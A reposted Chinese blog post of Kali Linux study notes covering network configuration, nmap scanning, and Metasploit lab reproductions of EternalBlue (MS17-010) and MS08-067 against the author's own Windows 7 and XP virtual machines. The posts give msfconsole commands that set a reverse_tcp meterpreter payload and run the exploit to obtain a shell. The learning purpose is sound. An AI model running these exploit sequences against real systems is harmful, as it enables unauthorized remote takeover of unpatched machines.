kali的学习

news2024/11/26 9:44:08

网络配置

1.kali的网络设置

首先我们了解kali的网络设置

DHCP:动态主机配置协议 是一个局域网的协议 使用UDP 协议工作

静态IP:用于大部分的中小型网络 通过网络管理员手动分配IP

原理进程

/etc  系统大部分服务启动过程都要访问该目录 

我们直接去看看

/ect/network/interfaces
这里就可以配置两个

1.DHCP:

auto eth0
iface eth0 inet dhcp //配置eth0使用DHCP协议


2.静态ip

auto eth0
iface eth0 inet static //配置eth0使用默认的静态地址
address 192.168.0.90 //设置eth0的IP地址,根据需求配置
gateway 192.168.0.1 //配置当前主机的默认网关,根据需求配置
netmask 255.255.255.0 //配置eth0的子网掩码,根据需求配置

然后就是设置 DNS

resolv.conf中 可以配置3 个 nameserver 

一旦前面失效 就会尝试下一个 
vi /etc/resolv.conf #进行DNS编辑

    nameserver 114.114.114.114 //国内移动、电信和联通通用的DNS

    nameserver 8.8.8.8 //是谷歌的IP地址

    nameserver 223.5.5.5 //是阿里云的IP地址

    nameserver 180.76.76.87 //是百度的IP地址

保存,退出

然后进行重启网络设置

sudo service networking restart

2.kali的三种模式

NAT 网络地址转移模式

Bridged 桥接模式 

Host-Only 主机模式

NAT

NAT 就是虚拟系统会通过 宿主机 来访问外网

相当于主机存在两个网卡

一个是虚拟网卡 一个宿主机的网卡

当虚拟网卡想要访问外网的时候 就必须通过宿主机的IP地址

从外面看 就是宿主机的IP 是完全看不到虚拟环境的内部网络

这个时候 

虚拟机和宿主机和虚拟交换机形成一个网段

宿主机和真实交换机形成一个网段
优点

不需要自己手动分配ip

只要宿主能访问即可

Bridged

桥接模式就是 虚拟网卡和物理网卡通过 VMnet0虚拟交换机进行桥接


这个时候 VMnet0就相当于现实的交换机

他可以访问这个网络内的所有主机

但是需要手动设置 ip 子网掩码

这个模式中 可以互相ping

 Host-Only

在Host-Only模式下,虚拟网络是一个全封闭的网络,它唯一能够访问的就是主机。

其实Host-Only网络和NAT网络很相似,不同的地方就是Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。

kali的网络设置及三种网络模式_kali配置网络_木_木的博客-CSDN博客

NMAP

ctf工具Nmap使用教程图文教程(超详细)_ctf 端口扫描_程序员小麦的博客-CSDN博客

一.端口扫描

扫描主机开发的端口 与服务(默认是1000个端口)

nmap [ip]

这里将我本机的端口扫描出来了 并且显示了 每个端口的服务是什么

1.指定端口

其中我们可以对主机进行指定端口扫描 通过 -p指令

nmap 192.168.3.25 -p 80  单个

nmap 192.168.3.25 -p 1-80   范围

nmap 192.168.3.25 -p 80,3389,22,21  枚举

nmap 192.168.3.25 -p 1-65535   范围

nmap 192.168.3.25 -p-   相当于 1-65536

 2.指定扫描方式

-sT 使用三次完整的握手来判断存活 否则失败
-sS  通过两次握手来 如果对方传回确认帧 那么就存活

二.主机存活

可以扫描哪里主机存活

-sP 不扫描端口 只扫描主机

其实实质上就是 ping 只要ping通 就说明存活
nmap 192.168.3.0/24 -sP

上面显示了 256个IP中存在3个活着的 主机

三.服务扫描

在扫描端口的时候 会默认显示端口存在的服务

如果要查看服务的具体版本 就可以使用 -sV
nmap 192.168.3.25 -p 80 -sV

发现是 apache 的服务器

四.系统识别

-O 可以识别端口的主机的系统

nmap 192.168.3.25 -p 80 -O

 发现这里就显示 run在 win10上

五.探测防火墙

我们可以通过 nmap 来探测防火墙的存在

nmap 192.168.3.25  -sF

组合命令

T4可以指定时序 0-5 级别越高 速度越快 越容易被防火墙ban


nmap -F -T4 -P0

-F 100个端口  -P0 无ping扫描

nmap -sC -sV  -Pn  192.168.3.25

-sC 通过 nmap 脚本探测

-Pn 进制ping 后扫描 

-sV  版本探测

 

nmap -A -v -T4 +IP

 MSF

MATESPLOIT(MSF)是个免费开源的 攻击框架

附带了很多已知 知名的漏洞 

在刚刚MSF出现的时候 只要会使用 MSF 就可以对未打补丁或刚刚打补丁的进行攻击

在kali中自带了 MSF

所以我们只需要启动即可

msfconsole

 这里对MSF的几个模块进行解释

1、Auxiliary(辅助模块)

收集信息 提供大量辅助的一个模块

2、Exploits(攻击模块)

通过调动漏洞 进行攻击


3、Payload(攻击载荷模块)


攻击成功后促使靶机运行的一段植入代码

4、Post (后渗透攻击模块)


收集更多信息或进一步访问被利用的目标系统


5、Encoders(编码模块)


就是通过 编码绕过

首先来了解一下基础的用法

【工具使用】——Metasploit(MSF)使用详解(超详细)_剑客 getshell的博客-CSDN博客

msfconsole

进入 msf框架

search  ms17_010

通过 search 命令查找漏洞

use exploit/windows/smb/ms17_010_eternalblue

通过 use 进入模块

info 

查看设置

set payload windows/x64/meterpreter/reverse_tcp  

设置 攻击模块为 这个漏洞

options

查看参数

set  RHOST  192.168.100.158   

设置攻击对象

run

进行攻击

大致就差不多是这样

我们复现一下 永恒之蓝 ms17-010

首先准备win7 的 IP  地址 我这里是 192.168.222.133

我们先通过 nmap 查看 一个网段存活的主机

nmap -sS 192.168.222.0/24

发现存在 5 个 其中能发现我们要攻击的主机ip

133

 那么我们就看看 他是什么系统的

nmap -O 192.168.222.133

 然后使用 nmap的脚本查看存在什么漏洞

nmap --script=vuln 192.168.222.133

 发现主角了 ms17-010 那么我们就请出MSF

msfconsole
search ms17-010

 这里exp的都是漏洞利用模块的 auxiliary是辅助探测模块 所以我们先通过 辅助探测 看看存不存在漏洞

这里直接 use 3

 然后看看info

 发现了 这里rhosts没有设置 而且是必须设置的选项

那我们就设置 为 攻击目标的ip范围

注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
set rhosts 192.168.222.100-192.168.222.190

exploit

扫到了

那我们直接通过

Exploit漏洞利用模块 对目标进行攻击
set rhosts 192.168.222.133

然后run 即可

 

这样就成功拿到shell了

 接下来复现另一个漏洞

MS08-067

ms08-067漏洞复现_ms08-067复现_老司机开代码的博客-CSDN博客

MicrosoftWindows是美国微软(Microsoft)公司发布的一系列操作系统。Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞。远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,以SYSTEM权限执行任意指令。对于Windows2000、XP和Server2003,无需认证便可以利用这个漏洞;对于WindowsVista和Server2008,可能需要进行认证。

首先需要一个 xp的系统 一样这里的ip为137

那我们直接开始

nmap -sS 192.168.222.0/24

我们看看什么系统

nmap -O 192.168.222.137

发现也无法确定 那我们直接就 通过脚本扫

nmap --script=vuln 192.168.222.137

 扫到了 并且也存在永恒之蓝

那我们直接启动  msf

msfconsole

search MS08-067

use 0

options

set RHOSTS 192.168.222.137
show targets

set target 34

run

成功调用了cmd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/941013.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

高效便捷的法律咨询小程序的设计与实践

现如今,随着智能手机的普及和移动互联网的发展,小程序成为了一种新兴的应用形式。对于律师事务所来说,开发一款专属的法律咨询小程序,无疑可以为客户提供更加便捷和高效的服务。那么,对于初次接触小程序制作的新手来说…

spring:AOP面向切面编程+事务管理

目录 一、Aop( Aspect Oriented Programming) 二、springAOP实现 1.XML实现 2.注解实现 三、spring事务管理 一、Aop( Aspect Oriented Programming) 将程序中的非业务代码抽取,使非业务代码与业务代码相隔离,为目标类创建一个代理对象让代理对象调用…

【C++初阶】stack的常见操作和模拟实现

👦个人主页:Weraphael ✍🏻作者简介:目前学习C和算法 ✈️专栏:C航路 🐋 希望大家多多支持,咱一起进步!😁 如果文章对你有帮助的话 欢迎 评论💬 点赞&#x1…

LNMT动静分离+keepalived

目录 前言 一、实验拓扑 二、配置tomcat 三、nfs配置 四、配置NGINX 五、配置NGINX的双机热备 六、验证双机热备 前言 LNMT动静分离是指在LNMT架构中使用动静分离技术,将动态请求和静态请求分开处理和分发,以提高性能和可扩展性。这种架构使用Nginx…

在GPU服务器(Linux)上安装Anaconda和PyTorch环境

安装Anaconda3 Anaconda官网&#xff1a;https://repo.anaconda.com/archive/ 根据自己需要&#xff0c;复制安装包名字&#xff0c;以Anaconda3-2023.07-2-Linux-x86_64.sh为例 命名规则&#xff1a;Anaconda3-<版本号>-Linux-x86_64.sh 在终端输入命令&#xff0c;下…

设备分类、设备号申请和注销

一、Linux内核对设备的分类 linux的文件种类&#xff1a; -&#xff1a;普通文件d&#xff1a;目录文件p&#xff1a;管道文件s&#xff1a;本地socket文件l&#xff1a;链接文件c&#xff1a;字符设备b&#xff1a;块设备 Linux内核按驱动程序实现模型框架的不同&#xff0…

JSX底层渲染机制

JSX底层渲染机制 一,.步骤 1.把我们写的jsx语法编译为虚拟DOM【virtualDOM】 虚拟DOM对象&#xff1a;框架自己内部构建的一套对象体系&#xff08;对象的相关成员都是React内部绑定的&#xff09;&#xff0c;基于这些属性描述出我们所构建视图中的DOM接的相关特征 1基于ba…

【crypto++使用】使用crypto++库函数运行RSA非对称加密

系列文章目录 1.&#xff08;全网最详细攻略&#xff09;【Crypto】在Visual studio2022中运行Cryptopp 文章目录 系列文章目录前言一、RSA加密过程、步骤可学习的网址 二、代码部分1.visual studio编程注意一个标准案例提供给大家 2.RSA密钥生成思考&#xff1a; 3.关于RSA的…

计算机视觉-卷积神经网络

目录 计算机视觉的发展历程 卷积神经网络 卷积&#xff08;Convolution&#xff09; 卷积计算 感受野&#xff08;Receptive Field&#xff09; 步幅&#xff08;stride&#xff09; 感受野&#xff08;Receptive Field&#xff09; 多输入通道、多输出通道和批量操作 …

死信队列理解与使用

一、简介 在rabbitMQ中常用的交换机有三种&#xff0c;直连交换机、广播交换机、主题交换机&#xff1b; 直连交换机中队列与交换机需要约定好routingKey去进行绑定&#xff1b; 广播交换机并不需要routingKey绑定,只需队列与交换机绑定即可&#xff1b; 主题交换机最大的特…

dml dql 约束 数据库设计

dml 1.添加数据 *语法 &#xff1a; *insert into 表名&#xff08;列名1&#xff0c;列名2&#xff0c;……..列名n&#xff09;values(值1&#xff0c;值2&#xff0c;…值n) *注意&#xff1a; 1.列名和值要一一对应 2.如果表名后&#xff0c;不写列名&#xff0c;就要给…

QT 获取程序编译时间并且转化格式

前言 有的时候我们要在程序的关于界面加上程序的编译时间等信息。可以通过如下代码实现 QString buildTime QStringLiteral("%1 %2").arg(__DATE__).arg(__TIME__);ui->label->setText(buildTime);QDateTime dateTime QLocale("en_US").toDateTim…

easyx图形库6:实现飞机大战:

飞机大战 一.飞机大战的基本窗体&#xff1a;二.飞机大战的主要战斗场景元素&#xff1a;一.透明图片&#xff1a;二.精灵对象&#xff1a; 三.主游戏场景的元素&#xff1a;1.英雄飞机的结构体定义&#xff1a;2.英雄飞机的代码实现&#xff1a;3.游戏背景的结构体定义&#x…

Day5:react函数组件与类组件

「目标」: 持续输出&#xff01;每日分享关于web前端常见知识、面试题、性能优化、新技术等方面的内容。 「主要面向群体&#xff1a;」前端开发工程师&#xff08;初、中、高级&#xff09;、应届、转行、培训、自学等同学 Day4-今日话题 react「函数组件和类组件」的区别&…

查局域网所有占用IP

查局域网所有占用IP 按&#xff1a;winr 出现下面界面&#xff0c;在文本框中输入 cmd 按确定即可出现cmd命令界面 在cmd命令窗口输入你想要ping的网段&#xff0c;下面192.168.20.%i即为你想要ping的网段&#xff0c;%i代表0-255 for /L %i IN (1,1,254) DO ping -w 1 -n 1…

(动态规划) 剑指 Offer 49. 丑数 ——【Leetcode每日一题】

❓剑指 Offer 49. 丑数 难度&#xff1a;中等 我们把只包含质因子 2、3 和 5 的数称作丑数&#xff08;Ugly Number&#xff09;。求按从小到大的顺序的第 n 个丑数。 示例: 输入: n 10 输出: 12 解释: 1, 2, 3, 4, 5, 6, 8, 9, 10, 12 是前 10 个丑数。 说明: 1 是丑数。…

2024年新iPad Pro将实现6年来最大的升级

彭博社的Mark Gurman长期以来一直将iPad Pro的下一次重大更新定在2024年&#xff0c;在最新一期的Power On时事通讯中&#xff0c;他详细阐述了一些细节&#xff0c;这些细节将使其成为“自2018年以来该产品的首次重大更新” 尽管Gurman将最近的iPad升级描述为“最近特别小”&…

word6 图文混排

目录 7-1 段落缩进排版7-2 搞定多级列表难题 7-1 段落缩进排版 段落对齐 缩进问题 悬挂缩进&#xff1a;缩进首行以外的段落 段落对齐&#xff1a; 7-2 搞定多级列表难题

k8s 安装 kubernetes安装教程 虚拟机安装k8s centos7安装k8s kuberadmin安装k8s k8s工具安装 k8s安装前配置参数

k8s采用master, node1, node2 。三台虚拟机安装的一主两从&#xff0c;机器已提前安装好docker。下面是机器配置&#xff0c;k8s安装过程&#xff0c;以及出现的问题与解决方法 虚拟机全部采用静态ip, master 30机器, node1 31机器, node2 32机器 机器ip 192.168.164.30 # ma…

【数据结构与算法篇】手撕八大排序算法之快排的非递归实现及递归版本优化(三路划分)

​&#x1f47b;内容专栏&#xff1a; 《数据结构与算法篇》 &#x1f428;本文概括&#xff1a; 利用数据结构栈(Stack)来模拟递归&#xff0c;实现快排的非递归版本&#xff1b;递归版本测试OJ题时&#xff0c;有大量重复元素样例不能通过&#xff0c;导致性能下降&#xff0…